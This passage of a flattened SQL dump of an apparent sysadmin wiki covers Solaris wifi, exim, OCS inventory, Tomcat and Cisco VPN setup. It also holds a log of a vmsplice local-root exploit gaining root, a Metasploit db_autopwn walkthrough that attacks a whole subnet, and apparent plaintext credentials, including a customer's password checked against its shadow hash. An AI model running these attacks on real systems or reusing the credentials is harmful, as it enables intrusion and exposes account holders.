ath0 plumb #ifconfig ath0 dhcp #svcadm restart nwam note you must restart nwam for the network management utility in gnome to pick up the wireless also ensure your wifi switch is on - the led will not work so you might need to slide it over if your wifi is being elusive screen shots and another example of attaching the driver can be found at step 9 of the above site which is a great how to on installing opensolaris on an intel mac by the way this post of dave clack clack\'s is doing the same as the above though just not as verbosely described this site is also helpful but don\'t get the driver from it use the link above and this site on using wificonfig is also handy '),(197,'innomat solaris 180',' '),(198,'solaris nevada 11 2008 acer aspire one install',' '),(199,'kdialog messages',' sudo -u conan kdialog --display 0 --msgbox howdy conan happy birthday hope you are havnig fun with linux and bombermaze - see you soon pete --title happy birthday xmessage -button ok -center file - happy birthday conan have fun with linux and bombermaze '),(200,'apache sudo commands',' add to etc sudoers the commands you wish apache to run for example apache all all nopasswd usr bin sudo usr bin pkill usr sbin dhcpd also ensure there is no line containing defaults requiretty if requiretty is enabled you will likely see the following errors logged by sudo #tail var log secure mar 26 09 58 16 install-gw usr bin sudo apache sorry you must have a tty to run sudo ; tty unknown ; pwd var www pxe ; user root ; command usr bin pkill dhcpd also ensure the binaries being called have permissions allowing others to execute them root install-gw pxe # ls -lha usr sbin dhcpd -rwxr-xr-x 1 root root 552k mar 12 09 33 usr sbin dhcpd '),(201,'vnstat bandwidth monitor',' '),(202,'network scanning tools',' nessus nessus nessus os identification nessus plugins are described at these plugins are installed by default under the general category server nocbox 65 110 52 190 port 1241 creds admin n3ssus m3 nmap nmap nmap good nmap basic tutorials '),(203,'exim troubleshooting',' flush the queue flush the queue flush the queue helpful exim commands #exim -bp #exim -q shows messages in the queue and their delivery status to force delivery of all messages in the queue #exim -q or you can attempt to force delivery of all frozen and non-frozen messages #exim -qff tracking down spam tracking down spam tracking down spam look at messages in the queue and see if they are spam etc looks at messages directly a trip down the exim manuals is in order to really explain all this once messages are frozen exim basically refuses to deliver them anymore when you do an \'exim -bp\' to list your queue note the long message id numbers and they can be examined by doing \'exim -mvb\' and \'exim -mvh\' to look at message body and header contents respectively i think \'exim -mrm\' will remove the message with these above exim commands you must include the message id after the message option to delete frozen messages if the message is frozen exim -bpru grep frozen awk \'print 3\' xargs exim -mrm if the message is exim -bpru grep \' \' awk \'print 3\' xargs exim -mrm if all exim -bpru awk \'print 3\' xargs exim -mrm remove lock files for var spool exim db you can remove these without removing the messages in the queue helpful exim links helpful exim links helpful exim links exim acl & tcpwrappers exim acl & tcpwrappers exim acl & tcpwrappers you might want to experiment with using tcpwrapers via etc hosts allow and set up an acl similar to for example exim local 192 168 0 friendly domain special host allow exim all deny this allows connections from local hosts chiefly localhost from the subnet 192 168 0 0 24 from all hosts in friendly domain and from a specific host called special host all other connections are denied if you have tcpwrappers set up to use two files use the following '),(204,'ocsng inventory management',' open computer and software inventory open source gpl v2 software with nix and windows inventory agents full web based management interface with advanced reporting capabilities mysql driven allows possibility to share system meta information with other mysql apps uber etc it also integrates with glpi an open source full asset tracking system with ticket tracking official site reviews ocs web management server ocs web management server ocs web management server user admin password s4g0syst3ms you can run all manner of reports here and search for systems by mac address manufacturer bios version etc you can run a report to see how many servers has less than x free drive space what dimm modules are installed installed applications etc very detailed reporting capabilities admininfo you can add custom fields to the ocs database through the ocs web interface the 7th yellow icon from the left in the upper right section of the screen looks like two pieces of paper is the admininfo icon here you can add customer fields that will apply to all hosts they can be of type text integer real and date these fields must be manually set up and the data entered here you can not tell the agent when it runs to populate them however once they are filled out the data in them is actually stored on the clients so if the database is lost the client when it checks in next will again populate this information back into the database any changes to the text file holding this information will be over written when the agent contacts the server the file holding this info on ubuntu is called ocsinv adm and is located at var lib ocsinventory-agent http __ocs sagonet com_ocsinventory ocsinv adm we could make fields here to hold information of projects server data testing info etc but remember any info placed here will be replicated onto the server so things like passwords etc are not a good idea even though the file is outside the web root etc agent client installation agent client installation agent client installation linux pxe installs you can now simply add ocs as the ending 10th argument in the pxe configuration string in cobbler hit tab to edit the boot line and modify the kickstart argument appending ocs this will automatically install the client version 0 9 2 from rpm and configure it to see the scripted actions go to and example ks file and look at the ocs section if using the old pxe system there is a menu option to install it which defaults to yes install it installer script scripted install for centos 3 4 5 and debian 4 5 can be found here just wget and run and it will completely install it on supported oses stop you should rarely have to install ocs manually - only on fedora or suse is this currently required if you do a pxe install of centos or debian read the above two methods manual install to install the client manually you can wget it from below and configure manually or easier snip out the code from the ks script and make it into a stand alone script which is the code below you can just run this but note it leaves the epel repository installed but disabled might want to uninstall it completely from customer boxes - just uninstall the epel-release rpm please see the section on linux agent configuration for more information full and complete install details are at but basically pxe rpm install method installs all perl dependencies from epel repository easy as pie echo -e installing ocs dev tty1 rpm -uvh yum -y install ocsinventory-agent echo -e ocsmode 0 cron etc sysconfig ocsinventory-agent echo -e ocsserver 0 ocs sagonet com etc sysconfig ocsinventory-agent echo -e ocstag 0 testing-pxe-install etc sysconfig ocsinventory-agent sed s enabled 1 enabled 0 etc yum repos d epel repo rm -y epel-release-5-3 noarch rpm or - el\' manual - you have to install all the perl mods yourself from rpms or cpan and build the agent ug wget ks sagonet com tools ocs ocsng_unix_agent-1 02 tar gz tar zxvf ocsng_unix_agent-1 02 tar gz cd ocsinventory-agent-1 0 1 perl makefile pl make make install sudo make install if ubuntu note you need some perl modules installed described at debian sudo apt-get install libxml-simple-perl libcompress-zlib-perl libnet-ip-perl libwww-perl libnet-ssleay-perl centos yum install perl-xml-simple perl-compress-zlib perl-net-ip perl-lwp perl-digest-md5 perl-net-ssleay suse zypper install perl-xml-simple perl-compress-zlib perl-net-ip perl-lwp perl-digest-md5 perl-net-ssleay when you run make install it will prompt you for configuration information everything is pretty obvious for the ocs server use ocs sagonet com no credentials for administrative tag use dedicated-pxe send an inventory at the end of the install if you get errors installing the client please send them to me - send the full output if possible and what os it was on etc linux - scripted install the on-line documentation for the agent references a no longer used setup sh script and the man page for the current agent does not talk about scripted installs but by merging the two sources i found that the following appears to run the agent set up non-interactively and i believe installs any needed perl dependencies and runs an update to the communication server callandor # ocsinventory-agent 1 -s ocs sagonet com follow up see the pxe ks script mentioned above for the sed actions you can take to modify the config file so as to have the proper values using this setup script is the way to go linux agent configuration note there are two current versions 0 9 2 and 1 02 and two formats of these versions yes confusing the rpm version are slightly different than the tar gz versions the rpm ones contains a config file in etc sysconfig ocsinventory-agent and also includes usr share doc ocsinventory-agent-1 0 1 readme rpm - both missing from the tar gz version it is advisable therefore to use the rpm versions both these versions are on the ks server and you can wget them as wget wget the developers personal repo for ocs packages is at windows super easy download the agent from run the installer ocs server address ocs sagonet com admin tag choose appropriate tag such as inventory dedicated-pxe etc note this runs as a service and is executed when the server reboots there is no splash screen or task bar icon it only appears in the service list and is set to run automatically works on vista there are more advanced options such as auto installing through active directory and creating packages to push out through the agent like a poor mans sms which are explained on the ocs wiki server installation requirements server installation requirements server installation requirements detailed install information is at and here is a great how to for centos installing the communication and management server is done by downloading the tar gz and running the install script the communication server runs as a perl module and itself depends on many other perl modules install the required mods and any needed dependencies - there are many using cpan or cpan2rpm thank god for cpan the following are required note you can actually just install most all these through yum see install link above ---------------------------------------------------------- checking for required perl modules ---------------------------------------------------------- checking for dbi perl module found that perl module dbi is available checking for apache dbi perl module error perl module apache dbi is not installed checking for dbd mysql perl module found that perl module dbd mysql is available checking for compress zlib perl module error perl module compress zlib is not installed checking for xml simple perl module error perl module xml simple is not installed checking for net ip perl module found that perl module net ip is available error there is one or more required perl modules missing on your computer please install missing perl modules first installation aborted server troubleshooting server troubleshooting server troubleshooting if the agent reports this callandor # ocsinventory-agent -t testing -s ocs sagonet com error cannot establish communication 500 internal server error and you see this error in the apache log thu may 07 15 00 45 2009 error client 66 118 170 66 can\'t call method rollback on an undefined value at usr lib perl5 site_perl 5 8 8 apache ocsinventory server system pm line 261 n it most likely mean a database user or password misconfiguration in one of these two files verify both and restart apache and verify you can connect as that user to mysql root alfresco ocsreports # vim etc httpd conf d z-ocsinventory-server conf root alfresco ocsreports # vim usr share ocsinventory-reports ocsreports dbconfig inc php '),(205,'bash scripts',' here are some bash scripts i wrote to make life easier # bin bash # # this is used to set permissions on cpanel accounts correctly this was from # ticket ticket #162225 - server problem for oulanka network # # this was the test template on one accout #chown -rp hexifi hexifi home hexifi #chown hexifi mail home hexifi etc #chown hexifi mail home hexifi etc hexi fi passwd #chown hexifi mail home hexifi etc hexi fi shadow #chown hexifi nobody home hexixfi public_html i # we generate a full list of account names to run permissions fix on just by doing #cat etc trueuserdomains cut -d -f 2 # # i had to correct some permissions on accounts owned by a specific user so had to make a list of only those # accounts which was done using #ls -la grep hexifi tr -s \' \' cut -d\' \' -f9 account_list_hexif for i in cat junk_list ; do echo i is being processed # first just set everything to user user then fix what we need -p changes ownership on symlink itself not it it\'s taget # which we don\'t care about at this point really chown -rp i i home i chown 1 mail home i etc chown 1 mail home i etc i passwd chown 1 mail home i etc i shadow chown 1 nobody home i public_html # scripts mailperm i done '),(206,'konqueror tips',' add close buttons to tabs kwriteconfig --file konquerorrc --group fmsettings --key permanentclosebutton --type bool true '),(207,'vmsplice kernel exploit',' novas tardis jessica_biel ----------------------------------- linux vmsplice local root exploit by qaaz ----------------------------------- mmap 0x0 0x1000 page 0x0 page 0x20 mmap 0x4000 0x5000 page 0x4000 page 0x4020 mmap 0x1000 0x2000 page 0x1000 mmap 0xb7f07000 0xb7f39000 - vmsplice function not implemented novas tardis id uid 508 novas gid 508 novas groups 508 novas novas tardis rm jessica_biel root tardis # uname -a linux tardis timelordz com 2 6 16-xtr #1 fri mar 23 00 16 10 gmt 2007 i686 i686 i386 gnu linux root web01 su peby peby web01 ls diane_lane diane_lane c jessica_biel jessica_biel c peby web01 id uid 10056 peby gid 10056 peby groups 10 wheel 10056 peby peby web01 jessica_biel ----------------------------------- linux vmsplice local root exploit by qaaz ----------------------------------- - mmap permission denied peby web01 id uid 10056 peby gid 10056 peby groups 10 wheel 10056 peby peby web01 uname -a linux web01 tpa sagonet net 2 6 18-92 1 22 el5 #1 smp tue dec 16 12 03 43 est 2008 i686 i686 i386 gnu linux '),(208,'revision control system',' rcs is a light weight method to control revisions to files here is a tutorial another good guide is at hint symlink rcs directories where the config files you wish to back up are to one primary one at etc rcs - then all the v file are in one place '),(209,'encrypting linux shadow passwords',' this is something i\'ve wondered about and finally decided to google it and find out the how come mr wizard answer it it\'s pretty cool customer i can\'t log in or i can\'t ftp here are my credentials user arabr password mohamed123m tech thinks to themselves - i wonder if that really is the right password sure i can just try it but wouldn\'t it be nice to know for certain if that was even correct i don\'t want to reset it without asking so here you go -bash-3 2# cat etc shadow grep arabr arabr 1 vrsz9bla lbumig 53lpx0i0ifsvoi0 14398 0 99999 7 you can divide the string in four parts 1 vrsz9bla lbumig 53lpx0i0ifsvoi0 1 1 is a special string meaning that the md5 algorithm is used 2 vrsz9bla is the desired salt 3 works like a space a separation char 4 lbumig 53lpx0i0ifsvoi0 is the hash of the password salt so knowing the salt the supposed password and the encryption algorithm you can just use openssl and recreate the hashed valued that is stored in the shadow file for example -bash-3 2# openssl passwd -1 -salt vrsz9bla mohamed123m 1 vrsz9bla lbumig 53lpx0i0ifsvoi0 or -bash-3 2# perl -e \'print crypt mohamed123m 1 vrsz9bla n \' which matches the entry in etc shadow thus mohamed123m is the correct password and should be valid for ssh and ftp login i got the above from '),(210,'syslog server installation',' good general info site on syslog '),(211,'debian broadcom nic drivers',' the clever debian devs are trimming all non-free binary blobs from the new stable kernel tree which means that the nics in our 1950s are no longer supported by default and you have to add the driver manually both during the install and then install the deb package post install which by the way then makes the installer think that dev sdb is the os drive as the usb key takes sda - another neat feature does not matter if you do the install from cd or network - it is removed from the distro to make it so we do not have this problem with the dells or other new hardware we get that used the broadcom bnx2 module i have created a custom initrd for the cobbler debian lenny installer just install as normal with cobbler and you should never even see this issue if for some reason you run into it or cobbler breaks and you need to install lenny from cd you may get the nic package from just stick the deb package on a usb key and stick it in - no need to mount it the installer will find it and extract what it needs after installing you may need to then actually install the package with dpkg this will create a new initd with the driver in it more info is here additional notes get the propriety drivers from here then build a new initrd that contains them oh goodie - now they updated the initrd for the latest lenny build which means the old one hangs when trying to find the repos so you need to set cobbler up with the new initrd from and then recompile for the nic drivers as above again better to use above link rather than the netinstall cd iso the initrd of which defaults to expecting a cdrom nice use the above link instead '),(212,'testing mssql connections odbcping exe',' testing ms sql connectivity testing a connection to a remote ms sql server can be a little bit of a pain especially when you are used to the simplicity of doing so with mysql here are a few tools to help you three ways to test ms sql connectivity via php script linux if your php is compiled with ms sql support you can connect via a simple php script se the mssql_connect php function at php net you can verify if ms sql support is compiled in by using an phpinfo php file for a sample php script to connect to ms sql see here ms sql studio windows you can install ms sql server management studio on any windows machine it is free and can be obtained here it is a bit overkill for just testing connectivity but is an option with odbcping exe windows another way is to use obdcping exe on a windows box which will just make a connection to the server note that this only supports connecting to the default ms sql port 1433 of course this utility is not installed by default in windows - but you can obtain if from a windows cd such as from here usage at a command prompt type with your own user password odbcping -s myserver -u myuser -p mypassword if that works then test the dsn with odbcping -d mydsn -u myuser -p mypassword here is a bit of discussion on using this tool xampp ms sql bug xampp ms sql bug xampp ms sql bug try in vain you will never connect to an ms sql database using xampp on a windows server without first addressing a known bug see this article at the xampp site describing this also see this blog which explains the exact issue and download the needed dll from '),(213,'tomcat installation',' tomcat is not your mama mama\'s apache tomcat is a very different beast to install compared to the simplicity of apache installing it under centos 5 is quite a bit simpler than it was in centos 4 x here are some notes and links to useful sites to help you install and test tomcat and install an application for some notes on installing with suse see here sites and guides sites and guides sites and guides i found this to be quite helpful it is a pretty complete how to on installing tomcat 5 here is another how to guide for installing and configuring different tomcat versions and the official pages additional info java install java install java install for installing java see the following site - read the instructions very carefully and follow them exactly and you can install and configure pretty much any version of jdk you need from source rpms and from the sun java archive site note if you have centos 5 3 you can use the openjdk binaries from the centos base repo and you don\'t have to build anything unless you need another older version etc build results build results build results checking for unpackaged file s usr lib rpm check-files home novas rpmbuild tmp java-1 6 0-sun-1 6 0 11-1jpp-buildroot wrote home novas rpmbuild rpms i586 java-1 6 0-sun-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-devel-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-src-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-demo-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-plugin-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-fonts-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-alsa-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-jdbc-1 6 0 11-1jpp i586 rpm executing clean bin sh -e home novas rpmbuild tmp rpm-tmp 43646 umask 022 cd home novas rpmbuild build selecting which java version to use selecting which java version to use selecting which java version to use you can easily install multiple versions of java using the above changing from one environment to another is as simple as root tardis # java -version java version 1 4 2_09 java tm 2 runtime environment standard edition build 1 4 2_09-b05 java hotspot tm client vm build 1 4 2_09-b05 mixed mode root tardis # alternatives --config java there are 2 programs which provide \'java\' selection command ----------------------------------------------- 1 usr lib jvm jre-1 4 2-sun bin java 2 usr lib jvm jre-1 6 0-sun bin java enter to keep the current selection or type selection number 2 root tardis # java -version java version 1 6 0_11 java tm se runtime environment build 1 6 0_11-b03 java hotspot tm client vm build 11 0-b16 mixed mode sharing root tardis # wed admin wed admin wed admin as of tomcat6 the admin panel is not longer available if you have the default tomcat pages you can also just go to and the default screen will link to both the above though you should be able to access them directly too if you are missing the default tomcat welcome screen it may just be that the content for it is missing root tardis # ls var lib tomcat55 webapps root release-notes txt web-inf admin asf-logo-wide gif favicon ico index jsp tomcat-power gif tomcat gif i resolved this once by just copying over the root directory and chown -r root tomcat and this restored the welcome page the admin and manager pages allow you to control users databases see the installed apps and deploy a new app deploy an application deploy an application deploy an application openlaszlo org you need jdk installed too root tardis tomcat-5 0 24 # rpm -uvh home sites 28 site1 web jdk-6u11-linux-i586 rpm root tardis lps-4 3 0 # echo java_home usr java jdk1 6 0_11 startup opt lps-4 3 0 server tomcat-5 0 24 bin startup sh troubleshooting war applications troubleshooting war applications troubleshooting war applications an error such as this an be difficult to trouble shoot in my case it turns out the war i was attempting to deploy was compiled against a later version of java upgrading from 1 4 to 1 6 releases completely resolved this issue i simply built a new 1 6 jdk from source rpms as above and installed parallel to the existing 1 4 jun 8 2009 11 52 07 am org apache catalina core standardcontext start severe error listenerstart jun 8 2009 11 52 07 am org apache catalina core standardcontext start severe context sysaid startup failed due to previous errors debugging this further can be difficult as there is nothing further to really go on see these sites for some tips on debugging through eclipse just found how strangely tomcat 5 5 9 running on jdk 1 4 x reacts to the fact that a web application was compiled with jdk 5 0 instead of showing some meaningful error the record in catalina out looks like this centos 4 x centos 4 x centos 4 x you will need to install tomcat from the jpackage repository - you will not find it in the normal repos nor rpmforge etc you will also need to install several packages to meet dependencies as well as build you java-devel package etc it is not particularly easy building java packages i found this site to be most helpful however you might be using different java versions you you need you can download the specific ones you need from the sun java archive pages place the jta classes in usr src redhat sources jta-1_0_1b-classes zip proceed with building packages 876 mv j2sdk-1_4_2-linux-i586 bin usr src redhat sources 894 ls usr src redhat sources 895 rpmbuild --rebuild usr local src java-1 4 2-sun-1 4 2 09-1jpp nosrc rpm 897 rpm -uvh usr src redhat rpms i586 java-1 4 2-sun-devel-1 4 2 09-1jpp i586 rpm 898 rpm -uvh usr src redhat rpms i586 java-1 4 2-sun-1 4 2 09-1jpp i586 rpm 899 yum install xorg-x11-deprecated-libs 905 rpmbuild --rebuild --without javadoc usr local src jta-1 0 1-0 b 4jpp nosrc rpm 906 rpm -ivh usr src redhat rpms noarch jta-1 0 1-0 b 4jpp noarch rpm 910 wget 911 rpm -uvh eclipse-ecj-3 2 0-1jpp_2rh i386 rpm 912 yum install tomcat55 additional info might also need to export java_home usr lib jvm java if you get this error starting tomcat5 usr bin rebuild-jar-repository error could not find xml-commons-apis java extension for this jvm you can simply yum install xml-commons-apis same with this one starting tomcat55 usr bin rebuild-jar-repository error could not find jakarta-taglibs-core java extension for this jvm usr bin rebuild-jar-repository error could not find jakarta-taglibs-standard java extension for this jvm usr bin rebuild-jar-repository error some detected jars were not found for this jvm you can just yum install yum install jakarta-taglibs-core jakarta-taglibs-standard '),(214,'process accounting',' how long did a user run a process activating accouting enable process accounting with callandor # accton var log pacct file must exist disable with callandor # accton sample uses callandor # lastcomm -f var log pacct --strict-match --command kate --user paracelsus kate paracels 7 62 secs wed jun 17 22 35 kate paracels 1 34 secs tue jun 16 22 35 kate paracels 0 54 secs tue jun 16 22 37 kate paracels 1 39 secs tue jun 16 18 37 callandor # ac -p -d root 16 45 paracelsus 4 50 jun 12 total 20 95 paracelsus 53 27 jun 13 total 53 27 paracelsus 51 12 jun 14 total 51 12 root 0 10 paracelsus 240 00 jun 16 total 240 10 paracelsus 114 59 today total 114 59 callandor # sa --percentages var log pacct less callandor # sa -m var log pacct 6508 1335287076 32re 116 53cp 0avio 852k paracelsus 206 1331384387 90re 115 29cp 0avio 7780k root 5919 3899686 35re 1 09cp 0avio 621k nobody 3 111 43re 0 09cp 0avio 735k man 377 2683 22re 0 07cp 0avio 680k postfix 3 207 42re 0 00cp 0avio 1582k extended linux service accounting elsa extended linux service accounting elsa extended linux service accounting elsa you can download and install from source the elsa package which primarily consists of a deamon jobd and the elsa script which allow you to create jobs consisting of groups of assigned processes then parse the jobs file and query it with else here is a sample session of starting the jobd daemon turning on accounting adding a few processes to two jobs exporting the job manager data to a file and inspecting it with else as root jobd ps aux grep jobd accton var log pacct jobmng -a -e date jobmng -a -p 17067 -j 1 jobmng -d jobresults tmp elsa -x -a var log pacct -j jobresults tmp ahz configuration ahz configuration ahz configuration from the sa man page --ahz hz use this flag to tell the program what ahz should be in hertz this option is useful if you are trying to view an acct file created on another machine which has the same byte order and file format as your current machine but has a different value for ahz other accounting tools other accounting tools other accounting tools good luck getting wx perl set up to run that one have not investigated this one yet '),(215,'cool places to work',' the evans group orlando fl workplace consists of a village with private cottages for offices patagonia ventura ca extreme flex time for surfing climbing etc wonderworks uber creative work environment for web development company google firepole solitude pods slide to the cafe '),(216,'hosts deny configuration',' here is a good article on securing ssh including configuring the hosts deny and hosts allow files '),(217,'toorcamp 2009 trip',' hi guys here is a list of stuff to bring and things to consider for our immanent trip to toorcamp 2009 there are three lists personal stuff to bring group stuff and food the group stuff will either be provided by my bro already or we can get at wal mart etc while we are primitive camping it is nonetheless good to give some thoughts to the considerations section considerations considerations considerations town is 45 minutes away one-way that that\'s a round trip of 1 30 plus time to get do things in town which means unless we want to spend 3 hours a day going to and from town we should make sure we take what we need i\'m not opposed to going to town once or twice but i don\'t want to go daily if avoidable food - see the list below if we don\'t bring it we don\'t eat it personal stuff personal stuff personal stuff this is the easy one really clothes - specifically robust shoes for the environment maybe also shower shoes sandals charging cords for notebooks cell phones and bluetooth blue tooth and wifi devices for hacking fun spare removable media usb sticks sd cards to collects fun stuff with sun screen a hat flashlight led light book magazine average low temp at night is 55 - 61 f so a sweat shirt etc at night is not a bad idea shower stuff target has small travel sized items perfect notebooks usb serial adapters extra wifi card lan cables glow sticks obviously group stuff group stuff group stuff tent foam air matters for each person trust me sleeping bags condiments salt pepper catchup mustard all easily obtained in nifty single server packets from fast food places gas station paper towels shower towels paper plates plastic ware gas station acquisition cooking stove single burner cooking kit self contained has a few pots and a fry pan etc plastic tub to clean up cookware in dish soap cotton towels to dry clean stuff with an sos pad just 1 lantern & mantles sucks when it gets dark fuel for stove lantern plastic glasses coffee pot oh yea babby mos def coffee sugar cooler & ice water 2 1 2 gal per person for the 4 days matches small first aid kit bug repellent plastic garbage bags food food food we will have 3 breakfasts 3 dinners 3 or 4 lunches to contend with that that\'s 27 to 30 meals for the 3 of us i would not plan on there being any food available on site to sell there will be food on site here is the menu thus definitely think about what you want to eat what will we cook for dinner etc sure- a trip to town for a dinner is okay but is this what we want every night again by the time you go and return from town it will be a 3 hour trip add your favorites breakfast orange juice boxes pop tarts coffee instant if nothing else lunch pbj lunch meat salami hold well cheese sticks soda chips dinner freeze dried entrees are not bad chili burgers dogs cocoa 55 f is colder than you think '),(218,'testing mod rewrite',' here is a simple script you can use to test if mod_rewrite is working correctly on a server this script comes from a tutorial i found here configuring apache configuring apache configuring apache apache needs to have mod_rewrite compiled in or it needs to load the module if not to see if it is compiled in you can check usr local apache bin httpd -m and look for rewrite_module static if not compiled in you need to load the module configure this in httpd conf by adding or uncommenting the following # in the loadmodules section loadmodule rewrite_module modules mod_rewrite so obviously check to ensure mod_rewite so exists and is in the correct place if it is compiled in and you try to load it anyway you will see this message displayed starting apache root server # etc init d httpd restart httpd syntax error on line 41 of usr local apache conf httpd conf module rewrite_module is built-in and can\'t be loaded the test script the test script the test script now create a file named rewrite php which contains the following ensure the file is owned by the user or the user apache runs as and has permissions set correctly php mod_rewrite test page copyright 2006 webune com if _get \'link\' 1 echo you are not using mod_rewrite ; elseif _get \'link\' 2 echo congratulations you are using apache mod_rewrite ; else echo linux apache mod_rewrte test tutorial ; how to test mod_rewrite in apache linux server by webune link1 rewrite php link 1 link2 link2 html how this works both links are for this same page except they both are different link one is without the mod_rewrite and link2 is using mod_rewrite link1 show the php file with with mod_rewrite we are mascarading the php file into a html file you can use whatever type of extension you want you can change it to htm or shtml etc all you have to do is to make sure you also chang it in the htaccess file << go back to webune forums now just create an htaccess file in the web directory where the above file is containing rewriteengine on rewriterule link html rewrite php link 1 l you can now visit and test to see whether mod_rewrite is working didn\'t work see the next section rewrite not allowed in htaccess rewrite not allowed in htaccess rewrite not allowed in htaccess note depending on how apache is configured you may not be able to put rewrite rules in an htaccess file if this is the case they can be placed instead in the vhost file for the domain check the error_log to see if this is the problem root tardis # cat var log httpd error_log grep htaccess sat jun 13 15 26 05 2009 alert client 174 37 205 67 home mycoolsite web htaccess options not allowed here additional troubleshooting additional troubleshooting additional troubleshooting check the apache access_log and error_log for any errors and have another look in you httpd conf htaccess and vhost settings to ensure everything is correct '),(219,'web email form tools',' using a mailto function in html for a mail form is very bad form php is the better way to go as you can do full input validation etc you can of course just use an html based email form with a mailto tag but that is absolutely not a good idea as it will be harvested and used as a target for spammers - you are essentially saying please oh please spam me if you go that route here are some suggestions you might use a pre-made html based email form function like one from which includes captcha filtering you have to register on the site but the code generator is free to use and will create the form for you and it does not require php on your server another one you can use is this is also free and you can choose asp php or perl it will make a private cgi bin script and call it with perl - so it will hide the email mail to address in the cgi script and not have it on the web page for the world to see it does not however appear to have captcha capabilities but does have a validation function '),(220,'metasploit framework',' the metasploit 3 framework has some pretty serious features allowing you to easily launch attacks against a target host by customising an exploit and payload to deliver it is a very powerful security analysis hacking tool and there are many guides available for it one particular feature db_autopwn is rather interesting it allows you to create and use a database of hosts using a mysql or postgres back end you can populate with a host port list directly by running nmap within metasploit or import a nessus report in order for db_autopwn to work you will need a variety of ruby and other support packages installed a list of such for ubuntu is here you have to then create the database that will be used i like mysql and found the following guide helpful you can create the database in msfconsole if you like msf db_create root password localhost pentest database creation complete check for errors i also found these sites helpful once all the dependencies are installed you can activate it from within the msfconsole run an nmap scan and launch attacks against all hosts found or a range of select one for example msf load db_mysql successfully loaded plugin db_mysql if any error output verify you have all needed ruby dependencies etc msf msf db_connect user mysql_passwd localhost 3306 database msf no output if a connection is made msf db_nmap -a 192 168 2 0 24 output generated for each host located to show the matched exploits against the hosts found msf db_autopwn -p -t analysis completed in 32 5395309925079 seconds 0 vulns 0 refs matched auxiliary dos windows smb ms05_047_pnp against 192 168 2 2 445 matched exploit netware smb lsass_cifs against 192 168 2 2 445 matched exploit windows http savant_31_overflow against 192 168 2 1 80 matched exploit unix webapp barracuda_img_exec against 192 168 2 1 80 matched exploit windows ftp freeftpd_key_exchange against 192 168 2 3 22 matched exploit windows http navicopa_get_overflow against 192 168 2 1 80 matched auxiliary scanner http wmap_prev_dir_same_name_file against 192 168 2 1 80 to show a list of all hosts in the database msf db_hosts time wed jul 22 19 07 13 -0400 2009 host 192 168 2 1 status alive os time wed jul 22 19 07 13 -0400 2009 host 192 168 2 2 status alive os time wed jul 22 19 07 13 -0400 2009 host 192 168 2 3 status alive os time wed jul 22 19 07 13 -0400 2009 host 192 168 2 10 status alive os by itself this will show command summary msf db_autopwn to launch to exploits against all hosts msf db_autopwn -e you might want to be a bit more selective than that to select a range of one or more simple use -i with cidr subnet notation msf db_autopwn -p -t -i 192 168 2 2 31 analysis completed in 23 4635920524597 seconds 0 vulns 0 refs matched auxiliary dos windows smb ms06_063_trans against 192 168 2 2 445 matched exploit windows smb ms06_025_rasmans_reg against 192 168 2 2 445 matched exploit windows misc tiny_identd_overflow against 192 168 2 3 113 matched auxiliary admin db2 db2rcmd against 192 168 2 2 445 if any exploit succeeds in opening a shell etc it will be available in a session within metasploit you can find any sessions opened with msf sessions -lv and then connect to a session with sessions -i id and disconnect using ctrl-z and ctrl-c to kill one '),(221,'cisco vpn configuration',' note for newer kernels 2 6 30 - 32 you need to patch the cisco vpnclient source as well as change a line in the kernel source for netdevice h removing a const declaration for the variable net_device_ops if you fail to do so you will get a compile error when building the ipsec ko module stating making module make -c lib modules 2 6 31-1-generic build subdirs home test downloads vpnclient modules make 1 entering directory usr src linux-headers-2 6 31-1-generic\' cc m home test downloads vpnclient interceptor o home test downloads vpnclient interceptor c in function u8e28098interceptor_initu8e28099 home test downloads vpnclient interceptor c 132 error u8e28098struct net_deviceu8e28099 has no member named u8e28098hard_start_xmitu8e28099 home test downloads vpnclient interceptor c 133 error u8e28098struct net_deviceu8e28099 has no member named u8e28098get_statsu8e28099 this wonderful blog post itself taken from this most helpful thread at forum tuxx-home at gives the solution which calls for a bit of patching cd vpnclient wget vim vpnclient-linux-2 6 31-final diff patch vpnclient-linux-2 6 31-final diff sudo sed -i \'s const struct net_device_ops netdev_ops; struct net_device_ops netdev_ops; \' find usr src -name netdevice h vpn_install etc init d vpnclient_init start you should then be able to configure and use the vpnclient as detailed below cisco vpn client install ensure you have your vpn access enabled contact dan p you can get the vpn client and sago pcf config file for windows and linux from linux version do not use the 5 x version for linux use only the above build of the 4 8 client previously this required manually patching it to get it to work correctly however this later version includes all the patches and works fine unpack and run the vpn_install script which by default will install to etc opt cisco-vpnclient place the sago vpn profile in etc opt cisco-vpnclient profiles tpavpn pcf you might want to rename it or make a symlink to it so it is easy to remember sago pcf - tpavpn pcf to connect use the below sytax without the pcf extension needed for the profile name callandor # vpnclient connect sago to disconnect callandor # vpnclient disconnect full expected output if successful callandor # vpnclient connect sago cisco systems vpn client version 4 8 02 0030 copyright c 1998-2007 cisco systems inc all rights reserved client type s linux running on linux 2 6 27 21-0 1-default #1 smp 2009-03-31 14 50 44 0200 i686 config file directory etc opt cisco-vpnclient initializing the vpn connection contacting the gateway at 66 118 128 10 user authentication for sago the server has requested the following information to complete the user authentication username user password authenticating user negotiating security policies securing communication channel your vpn connection is secure vpn tunnel information client address 192 168 200 118 server address 66 118 128 10 encryption 168-bit 3-des authentication hmac-sha ip compression none nat passthrough is active on port udp 4500 local lan access is disabled troubleshooting troubleshooting troubleshooting config directory is etc opt cisco-vpnclient getting this error message could not attach to driver is kernel module loaded the application was unable to communicate with the vpn sub-system if you have upgraded the kernel copy over the kernel module to you new lib directory such as callandor # cp -rpa lib modules 2 6 27 21-0 1-default ciscovpn lib modules 2 6 27 25-0 1-default callandor # ls lib modules 2 6 27 25-0 1-default ciscovpn cisco_ipsec ko callandor # etc init d vpnclient_init start starting opt cisco-vpnclient bin vpnclient done '),(222,'database configuration',' so you don\'t have to always figure out where the config files are for common apps bamboo bamboo_system_files application config database php gallery www gallery2timelord config php set the base dir of shared directory and urls here as 